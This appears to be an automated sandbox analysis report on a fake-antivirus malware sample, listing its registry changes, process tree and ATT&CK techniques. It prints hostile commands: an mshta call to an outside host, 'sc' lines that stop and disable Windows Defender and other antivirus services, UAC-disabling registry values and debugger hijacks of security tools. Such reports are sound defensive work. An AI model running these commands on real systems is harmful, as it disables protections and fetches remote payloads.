fe3caabf26e5ae965ad944b70b5ab0026aee8b338317f4e573c72c609988d277

Processes:

Protector-fico.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-fico.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-fico.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-fico.exe

Disables taskbar notifications via registry modification
evasion

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

Protector-fico.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Anti-Virus Professional.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cleaner.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system32.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDSurvey.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bd_professional.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csc.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\intdel.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpm.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\antivirusxppro2009.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winupdate.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysupd.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfindv32.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sweep95.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfpconfg.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mgavrtcl.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mrt.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nwtool16.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qh.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcsrvx.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMsnScan.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\titanin.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvsvc32.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnlan300.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkpop.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avsched32.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\efpeadm.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gbpoll.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lockdown.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\undoboot.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vbcons.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vfsetup.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luau.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\au.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcomx.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanhnt.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navlu32.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fnrb32.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gbmenu.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmgt.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\homeav2010.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lookout.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msccn32.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\antivirus.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ave32.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnt.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp32.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esafe.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUNMain.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bpc.exe\Debugger = "svchost.exe"	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvp95_0.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winstart.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netd32.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\padmin.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconsol.exe	Protector-fico.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navapsvc.exe\Debugger = "svchost.exe"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tgbob.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcproxy.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cleanpc.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webdav.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pf2.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityFighter.exe	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoler.exe	Protector-fico.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 3 IoCs

Processes:

269ek73z398g4fh.exe3b5251xmf2ng2b8.exeProtector-fico.exe

pid process

2284 269ek73z398g4fh.exe
2088 3b5251xmf2ng2b8.exe
2168 Protector-fico.exe

pid	process
2284	269ek73z398g4fh.exe
2088	3b5251xmf2ng2b8.exe
2168	Protector-fico.exe

Loads dropped DLL 7 IoCs

Processes:

00b7eec8946cdf920a8153e8d3f4475e.exe269ek73z398g4fh.exe3b5251xmf2ng2b8.exeProtector-fico.exe

pid	process
776	00b7eec8946cdf920a8153e8d3f4475e.exe
2284	269ek73z398g4fh.exe
2284	269ek73z398g4fh.exe
2088	3b5251xmf2ng2b8.exe
2088	3b5251xmf2ng2b8.exe
2168	Protector-fico.exe
2168	Protector-fico.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

Protector-fico.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-fico.exe"	Protector-fico.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Protector-fico.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-fico.exe

Drops file in System32 directory 3 IoCs

Processes:

Protector-fico.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-fico.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-fico.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-fico.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1924 sc.exe
1588 sc.exe
1396 sc.exe
1496 sc.exe
1756 sc.exe
1092 sc.exe
1084 sc.exe
1940 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1924	sc.exe
1588	sc.exe
1396	sc.exe
1496	sc.exe
1756	sc.exe
1092	sc.exe
1084	sc.exe
1940	sc.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

mshta.exeProtector-fico.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-fico.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-fico.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

Protector-fico.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-fico.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-fico.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Protector-fico.exe

pid	process
2168	Protector-fico.exe
2168	Protector-fico.exe
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Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

3b5251xmf2ng2b8.exeProtector-fico.exe

description	pid	process
Token: SeDebugPrivilege	2088	3b5251xmf2ng2b8.exe
Token: SeShutdownPrivilege	2088	3b5251xmf2ng2b8.exe
Token: SeDebugPrivilege	2168	Protector-fico.exe
Token: SeShutdownPrivilege	2168	Protector-fico.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Protector-fico.exe

pid process

2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Protector-fico.exe

pid process

2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

3b5251xmf2ng2b8.exeProtector-fico.exe

pid process

2088 3b5251xmf2ng2b8.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe
2168 Protector-fico.exe

pid	process
2088	3b5251xmf2ng2b8.exe
2168	Protector-fico.exe
2168	Protector-fico.exe
2168	Protector-fico.exe
2168	Protector-fico.exe
2168	Protector-fico.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

00b7eec8946cdf920a8153e8d3f4475e.exe269ek73z398g4fh.exe3b5251xmf2ng2b8.exeProtector-fico.exe

description	pid	process	target process
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 776 wrote to memory of 2284	776	00b7eec8946cdf920a8153e8d3f4475e.exe	269ek73z398g4fh.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2284 wrote to memory of 2088	2284	269ek73z398g4fh.exe	3b5251xmf2ng2b8.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2168	2088	3b5251xmf2ng2b8.exe	Protector-fico.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2088 wrote to memory of 2804	2088	3b5251xmf2ng2b8.exe	cmd.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 2588	2168	Protector-fico.exe	mshta.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1092	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1756	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1496	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1396	2168	Protector-fico.exe	sc.exe
PID 2168 wrote to memory of 1588	2168	Protector-fico.exe	sc.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

Processes:

Protector-fico.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-fico.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-fico.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-fico.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-fico.exe

C:\Users\Admin\AppData\Local\Temp\00b7eec8946cdf920a8153e8d3f4475e.exe
"C:\Users\Admin\AppData\Local\Temp\00b7eec8946cdf920a8153e8d3f4475e.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:776

C:\Users\Admin\AppData\Local\Temp\RarSFX0\269ek73z398g4fh.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\269ek73z398g4fh.exe" -e -pk22qa80s3so5mnb
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2284

C:\Users\Admin\AppData\Local\Temp\RarSFX1\3b5251xmf2ng2b8.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\3b5251xmf2ng2b8.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2088

C:\Users\Admin\AppData\Roaming\Protector-fico.exe
C:\Users\Admin\AppData\Roaming\Protector-fico.exe
4⤵
- UAC bypass
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2168

C:\Windows\SysWOW64\mshta.exe
mshta.exe "http://galaint.coolsecupdate.info/?0=115&1=1&2=1&3=41&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=qmjgqsrkie&14=1"
5⤵
- Modifies Internet Explorer settings
PID:2588

C:\Windows\SysWOW64\sc.exe
sc config AntiVirSchedulerService start= disabled
5⤵
- Launches sc.exe
PID:1084

C:\Windows\SysWOW64\sc.exe
sc config AntiVirService start= disabled
5⤵
- Launches sc.exe
PID:1940

C:\Windows\SysWOW64\sc.exe
sc stop AntiVirService
5⤵
- Launches sc.exe
PID:1924

C:\Windows\SysWOW64\sc.exe
sc config ekrn start= disabled
5⤵
- Launches sc.exe
PID:1588

C:\Windows\SysWOW64\sc.exe
sc config msmpsvc start= disabled
5⤵
- Launches sc.exe
PID:1396

C:\Windows\SysWOW64\sc.exe
sc stop msmpsvc
5⤵
- Launches sc.exe
PID:1496

C:\Windows\SysWOW64\sc.exe
sc config WinDefend start= disabled
5⤵
- Launches sc.exe
PID:1756

C:\Windows\SysWOW64\sc.exe
sc stop WinDefend
5⤵
- Launches sc.exe
PID:1092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\3B5251~1.EXE" >> NUL
4⤵
PID:2804

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

6

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop